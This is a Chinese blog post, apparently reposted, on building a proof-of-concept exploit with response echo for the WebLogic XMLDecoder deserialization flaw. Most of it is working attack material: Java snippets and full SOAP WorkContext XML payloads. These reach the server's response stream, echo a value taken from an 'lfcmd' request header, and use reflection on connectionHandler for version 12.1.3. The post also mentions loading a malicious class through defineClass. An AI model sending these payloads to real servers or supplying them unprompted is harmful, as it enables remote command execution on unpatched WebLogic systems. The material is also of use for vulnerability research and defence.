效果图
xmldecoder
通过一个小例子来理解xmldecoder解析的xml的语法,方便后面回显exp的构造。
java.io.BufferedWriter out = new java.io.BufferedWriter(new java.io.FileWriter("f:/1.txt")); String className = out.getClass().toString(); out.write(className); out.close();
<object class="java.io.BufferedWriter"> <object class="java.io.FileWriter"><string>f:/2.txt</string></object> <void property="class" id="class_property"></void> <object class="java.io.String"><object idref="class_property"><void method="toString" id="className"></void></object></object> <void method="write"><object idref="className"></object></void> <void method="close"></void> </object>
对象初始化
<object class="java.io.FileWriter"><string>f:/2.txt</string></object>
或者 <void class="java.io.FileWriter"><string>f:/2.txt</string></void>
在object或void标签之中的第一标签是值,用于初始化对象。
无值链式调用
out.getClass().toString() <void method="getClass"><void method="toString" id="className"></void></void>
既在void之中的第一标签是void。
有值链式调用
a.getxxx("xxx").toString() <void method="getxxx"> <string>xxx</string> <void method="toString"></void> </void>
既在void之中的第一标签是值,第二个标签是void。
普通调用
out.write(className); out.close(); <void method="write"><object idref="className"></object></void> <void method="close"></void>
void属于并列关系。
属性
<void property="class" id="class_property"></void>
,在这里获取使用 property
来获取属性,其实使用的就是getXXX()函数来获取
id与idref
<void property="class" id="class_property"></void>
,这里在 void
中使用 id
进行标记,然后在 <void method="write"><object idref="className"></object></void>
中使用 idref
进行引用。
最后会在f盘中写入2.txt文件。
回显构造
原理:获取当前线程,然后调用函数进行显示。
确定线程类
weblogic封装了很多线程,无法确认获取的是哪个线程类。可以通过报错的形式获取。
<void class="java.lang.Thread" method="currentThread"> <void method="xxxxxxx"></void> </void>
可以获取到的线程类是 ExecuteThread
。
但是有两个 ExecuteThread
,在不同包里面,可以使用weblogic.work.ExecuteThread中特有的getDate函数,发现没有报错。说明就是 weblogic.work.ExecuteThread
。
确认输出类
利用ServletResponse类的getWriter,然后输出。
PrintWriter pw = response.getWriter(); pw.write("hello");
或者利用ServletResponse类的getOutputStream进行输出。
response.getOutputStream().write("hello".getBytes("UTF-8"));
如果没有参考输出的代码,自己要找的话,其实比较困难,因为weblogic会有很多类有getWriter、getOutputStream函数(虽然后面发现也对response搞了getResponse函数)用于各种场景,很难找到正确的类,只能通过查看类名进行初步判断进行筛选,这个过程异常痛苦。(后面发现是可以通过查看是否实现了ServletResponse接口来判断,虽然类还是很多,但是比之前直接搜索函数少不少。)
而且就算找对了ServletResponseImpl,并且对getOutputStream下断点,还发现跟的是一个异步,没办法回显。(后面发现,对response下断点就可以跟踪到同步线程)
因为没有更好的思路,看了shack2的工具。不过也比较痛苦,没有 java 的源代码,只有xml,通过大量的测试终于找到了正确的类,成功下了断点。
server\lib\weblogic.jar!\weblogic\servlet\internal\ServletRequestImpl.class
weblogic.servlet.internal.ServletRequestImpl
getResponse
10.0.3回显构造
((ServletRequestImpl) this.getCurrentWork()).getResponse().getWriter().write("xxxxxxx")
,就会在返回包中看到返回xxxxxxx。
但是这样会存在问题,会提示。
原因是getOutputStream是字节流,getWriter是字符流,不统一,java源码提示的是,不能在getWriter后面调用getOutputStream。在谷歌过程中还产生一个疑问,说只能使用其中一种流。很奇怪,在构造回显的时候,先使用getOutputStream,再使用getWriter也是没问题的。
((ServletRequestImpl) this.getCurrentWork()).getResponse().getServletOutputStream().writeStream(new StringInputStream("xxxx")) ((ServletRequestImpl) this.getCurrentWork()).getResponse().getServletOutputStream().flush()
所以这里使用getOutputStream进行输出,虽然显示了结果,但是还是有其他的东西。
只要执行下面的东西,就会把结果覆盖掉为空。两种流是互相拼接起来。
((ServletRequestImpl) this.getCurrentWork()).getResponse().getWriter().write("")
再者要解决接受参数的问题,这个比较简单,因为接受参数就在返回函数的附近。从header头lufei接受参数。
((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lufei");
整合起来
String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd"); weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse(); weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream(); outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd)); outputStream.flush(); response.getWriter().write("");
12.1.3回显构造
<void class="java.lang.Thread" method="currentThread"> <void method="getCurrentWork"> <void method="getResponse"> <void method="getServletOutputStream"> <void method="writeStream"> <object class="weblogic.xml.util.StringInputStream"><string>2222222222</string></object> </void> <void method="flush"/> </void> <void method="getWriter"><void method="write"><string></string></void></void> </void> </void> </void>
发现拿前面的回显不能用了。在cmd窗口报错显示 java.lang.NoSuchMethodException: <unbound>=ContainerSupportProviderImpl$WlsRequestExecutor.getResponse();
。我们在response下断点,然后关注是否在 weblogic.work.ExecuteThread
这个线程类中。
发现 getCurrentWork
获取的是 ContainerSupportProviderImpl$WlsRequestExecutor
类,这个类没有getResponse函数。
但是在 ContainerSupportProviderImpl$WlsRequestExecutor
类发现里面有一个属性,是能够获取到response的。
但是这个connectionHandler并没有getter,所以无法使用property="connectionHandler"属性,只能通过反射的方式去获取。只要能够getResponse后面流程差不多。
java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler"); field.setAccessible(true); HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork()); httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));
转成xml
<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="java.lang.Thread" method="currentThread"> <void method="getCurrentWork" id="current_work"></void> </void> <void class="java.lang.Thread" method="currentThread"> <void method="getCurrentWork"> <void method="getClass"> <void method="getDeclaredField" id="field"><string>connectionHandler</string></void> </void> </void> </void> <object idref="field"> <void method="setAccessible"> <boolean>true</boolean> </void> <void method="get" id="http_conn"> <object idref="current_work"></object> </void> </object> <object idref="http_conn"> <void method="getServletRequest"> <void method="getResponse"> <void method="getServletOutputStream"> <void method="writeStream"> <object class="weblogic.xml.util.StringInputStream"><string>33333333333333</string></object> </void> <void method="flush"/> </void> <void method="getWriter"><void method="write"><string></string></void></void> </void> </void> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
进行简化
<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="java.lang.Thread" method="currentThread"> <void method="getCurrentWork" id="current_work"> <void method="getClass"> <void method="getDeclaredField"> <string>connectionHandler</string> <void method="setAccessible"><boolean>true</boolean></void> <void method="get"> <object idref="current_work"></object> <void method="getServletRequest"> <void method="getResponse"> <void method="getServletOutputStream"> <void method="writeStream"> <object class="weblogic.xml.util.StringInputStream"><string>lufei test</string></object> </void> <void method="flush"/> </void> <void method="getWriter"><void method="write"><string></string></void></void> </void> </void> </void> </void> </void> </void> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
defineClass
最后一步,使用defineclass还原恶意class,这个类比较好的是可以把一个类变成一个模块,到处使用,非常nice。当然也可以不用这个类。我这里直接转成了base64,因为有现成的文件转换工具。具体代码请看github。
参考
shack2 CVE-2017-10271反序列化工具
以上所述就是小编给大家介绍的《weblogic_2019_2725poc与回显构造》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Java类 静态代码块、构造代码块、构造函数初始化顺序
- TS 的构造签名和构造函数类型是啥?傻傻分不清楚
- 只有你能 new 出来!.NET 隐藏构造函数的 n 种方法(Builder Pattern / 构造器模式)
- 构造函数、原型、原型链、继承
- Vue源码: 构造函数入口
- Hashmap源码解析-构造函数
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
新内容创业:我这样打造爆款IP
南立新、曲琳 / 机械工业出版社 / 2016-5-10 / 39.00
这是个内容创业爆棚的时代,在采访几十家内容创业公司,与一线最优秀的创业者独家对话之后,作者写作了这本书,其中包括对这个行业的真诚感触,以及希望沉淀下来的体系化思考。 本书共分三个部分讲述了爆红大号的内容创业模式和方法。其中第一部分,讲述了新的生产方式,即内容形态发展的现状--正在被塑造;第二部分,讲述了新的盈利探索,即从贩卖产品到贩卖内容的转变,该部分以多个案例进行佐证,内容翔实;第三部分,......一起来看看 《新内容创业:我这样打造爆款IP》 这本书的介绍吧!